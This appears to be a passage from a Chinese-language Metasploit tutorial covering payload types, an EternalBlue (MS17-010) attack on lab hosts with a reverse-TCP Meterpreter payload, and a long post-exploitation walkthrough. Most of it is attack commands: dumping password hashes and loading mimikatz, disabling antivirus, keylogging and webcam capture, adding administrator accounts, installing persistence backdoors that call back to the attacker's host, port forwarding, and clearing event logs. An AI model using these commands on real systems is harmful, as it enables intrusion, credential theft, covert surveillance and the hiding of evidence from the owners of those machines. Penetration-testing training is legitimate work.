注:
在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload。
而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp组成。
Stager中几种常见的payload:
- windows/meterpreter/bind_tcp #正向连接
- windows/meterpreter/reverse_tcp #反向连接,常用
- windows/meterpreter/reverse_http #通过监听80端口反向连接
- windows/meterpreter/reverse_https #通过监听443端口反向连接
复制代码
正向连接使用场景:
我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
反向连接使用场景:
我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景:
被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。
5. Meterpreter:
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
5.1 Meterpreter是如何工作的?:
首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
5.2 Meterpreter的特点:
- Meterpreter完全驻留在内存,没有写入到磁盘。
- Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。
- 默认情况下, Meterpreter的通信是加密的,所以很安全。
- 扩展性,许多新的特征模块可以被加载。
我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!
6. MS17_010(永恒之蓝):
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
6.1 查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
- msfconsole #输入这个命令主要是进入msf渗透框架中
复制代码
2、搜索MS17_010漏洞:
命令: - search ms17_010 #利用search命令,搜索漏洞相关利用模块
复制代码
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
6.2 利用Auxiliary辅助探测模块对漏洞进行探测:
Auxiliary辅助探测模块:
该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:
命令:
- use auxiliary/scanner/smb/smb_ms17_010
复制代码
2、查看这个模块需要配置的信息:
命令:
- show options #查看这个模块需要配置的信息
复制代码
3、设置要探测的远程目标:
注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
命令:
- set rhosts 192.168.100.100-192.168.100.190
复制代码
4、对上面设置的ip范围内的主机进行攻击:
注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞
命令:
6.3 使用Exploit漏洞利用模块对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用:
命令:
- use exploit/windows/smb/ms17_010_eternalblue
复制代码
2、查看这个漏洞的信息:
命令:
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:
命令:
注:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
6.4 Payload攻击载荷模块:
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷:
命令:
- show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
复制代码
2、设置攻击载荷:
命令: - set payload windows/x64/meterpreter/reverse_tcp
复制代码
3、查看模块需要配置的参数:
命令:
4、设置攻击载荷参数:
命令:
- set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip
- set LHOST 192.168.100.132 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
- set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
复制代码
5、进行攻击:
7. 后渗透阶段:
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现:
Meterpreter的命令用法:
我们输入: shell即可切换到目标主机的windows cmd_shell里面:
命令:
- shell #获取目标主机的cmd_shell权限
- chcp 65001 #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8
复制代码
要想从目标主机shell退出到meterpreter ,我们只需输入:exit:
从meterpreter退出到MSF框架:
命令:
- background #把我们获得的meterpreter会话挂载到后台运行
复制代码
查看前面获得的meterpreter_shell会话,最前面的数字是会话的id:
命令: - sessions -l #查看获得的meterpreter_shell会话列表
复制代码
输入sessions [id号]即可进入相应的meterpreter_shell中:
输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台:
- sysinfo #查看目标主机系统信息
- run scraper #查看目标主机详细信息
- run hashdump #导出密码的哈希
- load kiwi #加载mimikatz
- ps #查看目标主机进程信息
- pwd #查看目标当前目录(windows)
- getlwd #查看目标当前目录(Linux)
- search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
- download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
- upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
- getpid #查看当前Meterpreter Shell的进程PID
- migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
- idletime #查看主机运行时间
- getuid #查看获取的当前权限
- getsystem #提权,获得的当前用户是administrator才能成功
- run killav #关闭杀毒软件
- screenshot #截图
- webcam_list #查看目标主机的摄像头
- webcam_snap #拍照
- webcam_stream #开视频
- execute 参数 -f 可执行文件 #执行可执行程序
- run getgui -u test1 -p Abc123456 #创建test1用户,密码为Abc123456
- run getgui -e #开启远程桌面
- keyscan_start #开启键盘记录功能
- keyscan_dump #显示捕捉到的键盘记录信息
- keyscan_stop #停止键盘记录功能
- uictl disable keyboard #禁止目标使用键盘
- uictl enable keyboard #允许目标使用键盘
- uictl disable mouse #禁止目标使用鼠标
- uictl enable mouse #允许目标使用鼠标
- load #使用扩展库
- run #使用扩展库
-
- run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀
- portfwd add -l 9999 -r 192.168.100.158 -p 3389 #将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
- clearev #清除日志
复制代码
7.1 Post 后渗透模块:
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
- run post/windows/manage/migrate #自动进程迁移
- run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
- run post/windows/manage/killav #关闭杀毒软件
- run post/windows/manage/enable_rdp #开启远程桌面服务
- run post/windows/manage/autoroute #查看路由信息
- run post/windows/gather/enum_logged_on_users #列举当前登录的用户
- run post/windows/gather/enum_applications #列举应用程序
- run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
- run post/windows/gather/smart_hashdump #dump出所有用户的hash
复制代码
输入:sysinfo 查看目标主机的信息:
7.2 查看主机是否运行在虚拟机上:
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境:
命令:
- run post/windows/gather/checkvm
复制代码
7.3 关闭杀毒软件:
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
7.4 获取目标主机的详细信息:
使用命令:
它将目标机器上的常见信息收集起来然后下载保存在本地
7.5 访问文件系统:
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
- pwd #查看当前目录
- cd #切换目标目录;
- cat #读取文件内容;
- rm #删除文件;
- edit #使用vim编辑文件
- ls #获取当前目录下的文件;
- mkdir #新建目录;
- rmdir #删除目录;
复制代码
7.6 上传/下载文件:
7.6.1 下载文件:
命令:
- download file #命令可以帮助我们从目标系统中下载文件
复制代码
7.6.2 上传文件:
命令:
- upload file #命令则能够向目标系统上传文件。
复制代码
7.7 权限提升:
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
命令:
- getuid
- #命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
- getsystem
- #自动提权为系统权限
复制代码
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
7.8 获取用户密码:
点击进入:使用MSF抓取用户密码
7.9 运行程序:
先查看目标主机安装了哪些应用:
命令:
- run post/windows/gather/enum_applications #查看目标主机安装了哪些应用
复制代码
在meterpreter_shell命令行执行目标系统中的应用程序:
命令:
- #execute命令用法:
- execute [参数] -f 指定的可执行文件
- -f:指定可执行文件
- -H:创建一个隐藏进程
- -a:传递给命令的参数
- -i:跟进程进行交互
- -m:从内存中执行
- -t:使用当前伪造的线程令牌运行进程
- -s:在给定会话中执行进程
复制代码
7.11 屏幕截图:
1、截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/目录下:
命令:
2、目标主机的屏幕截图如下:
7.12 创建一个新账号:
先查看目标主机有哪些用户:
命令:
- run post/windows/gather/enum_logged_on_users #查看目标主机有用户
复制代码
在目标系统中创建一个新的用户账号的方法一:
命令: - run getgui -u 用户 -p 密码
- -u: 指定用户
- -p: 指定密码
复制代码
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。这里成功创建了用户,但是添加到Administrators组中失败了!
如果添加到Administrators组中失败了的话,我们可以运行:shell ,进入cmd窗口手动将该用户添加到administrators组中。
在目标系统中创建一个新的用户账号的方法二:
命令: - enable_rdp脚本:
- run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加用户
- run post/windows/manage/enable_rdp #开启远程桌面
- run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
复制代码
点击进入:参考文章!
7.13 启用远程桌面:
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp命令可以开启远程桌面。
在开启远程桌面会话之前,我们还需要使用idletime命令检查远程用户的空闲时长:
开启远程桌面:
命令: - run post/windows/manage/enable_rdp
复制代码
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。
7.14 键盘记录:
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
- keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
- keyscan_dump: #显示捕捉到的键盘记录信息
- keyscan_stop: #停止键盘记录功能
复制代码
注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
7.15 进程迁移:
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟 winlogon.exe绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用:ps 命令查看目标设备中运行的进程:
我们可以使用:getpid 查看我们当前的进程id:
使用:migrate+目标进程ID命令来绑定目标进程id,可以看到通过进程迁移后,当前的Meterpreter的pid已经和 winlogon.exe一样了:
这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid 命令关闭进程。
或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移。
7.16 禁止目标主机使用键盘鼠标:
命令:
- uictl disable(enable) keyboard #禁止(允许)目标使用键盘
- uictl disable(enable) mouse #禁止(允许)目标使用鼠标
复制代码
7.17 用目标主机摄像头拍照:
- webcam_list #获取目标系统的摄像头列表
- webcam_snap #从指定的摄像头,拍摄照片
- webcam_stream #从指定的摄像头,开启视频
复制代码
获取目标系统的摄像头列表,可以看到目标主机有一个摄像头:
可以指定的摄像头拍摄照片,可以看到已经获得从目标主机拍摄到的照片:
开启摄像头拍摄视频,会弹出一个网页,可以查看到摄像头那端的实时录像:
7.18 常用扩展库介绍:
meterpreter中不仅有基本命令还有很多扩展库,下面就介绍一下常用的扩展库的查看方法。
7.18.1 load/use命令:
- load/use #加载模块
- load -l #列出所有可用的扩展
- load -help #帮助;说明
复制代码
输入命令:load -l会列出所有可用的扩展:
输入load后,双击Tab键列出可用扩展:
7.18.2 run命令:
- run #执行一个已有的模块
- #run+双击Tab键,会列出所有的已有的脚本;
- #常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
复制代码
run+双击Tab键,会列出所有的已有的脚本:
注:这里输入run后,双击Tab键列出所有的已有的脚本;
7.19 生成持续性后门:
因为meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc)
7.19.1 启动项启动:
启动项启动的话,我们先生成一个后门木马。
点击进入:用MSF生成一个后门木马!
然后放到windows的启动目录中:
- C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
复制代码
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
7.19.2 服务启动:
通过服务启动,我们可以运行命令:
- run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888 #自动连接192.168.100.158的8888端口,缺点是容易被杀毒软件查杀
- #然后它就在目标机新建了这个文件:C:\Windows\TEMP\****.vbs ,并把该服务加入了注册表中,只要开机就会启动
复制代码
我们在被攻击机可以看到这个文件,是一个VBScript脚本:
查看靶机的端口连接情况,可以看到靶机连着我们的8888端口:
点击进入:参考文章!
7.20 设置Socks代理:
点击进入:MSF搭建socks代理!
7.21 portfwd端口转发:
portfwd是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下:
- portfwd add -l 9999 -r 192.168.100.158 -p 3389
- #将192.168.100.158的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
- -l: #本地监听的端口,用于接收目标主机的端口反弹
- -p: #目标服务器的端口;
- add: #添加一个连接
复制代码
然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了:
- rdesktop 127.0.0.1:9999
- #因为通过端口转发功能已经把3389的流量转发到本地的9999端口,所以只要连接本地的9999端口就相当于连接了目标机器的3389端口;
复制代码
如果不想继续连接的话,可以删除当前建立的连接,执行以下命令:
- portfwd delet -l 9999 -r 192.168.100.158 -p 3389
- delet: #删除一个连接
复制代码
7.22 清除事件日志:
完成攻击操作之后,千万别忘了"打扫战场"。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用以下命令来清除事件日志:
8. 导入并执行PowerShell脚本:
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户:
- load powershell #加载powershell功能
- powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录
- powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
- powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机;
- powershell_execute Get-NetForest #该模块用于定位域信息
- powershell_execute Invoke-EnumerateLocalAdmin #枚举域中所有计算机上本地管理员组的成员
复制代码
9. 加载stdapi:
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。
10. 升级Session:
有时候,当我们收到的不是 meterpreter 类型的 session 的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。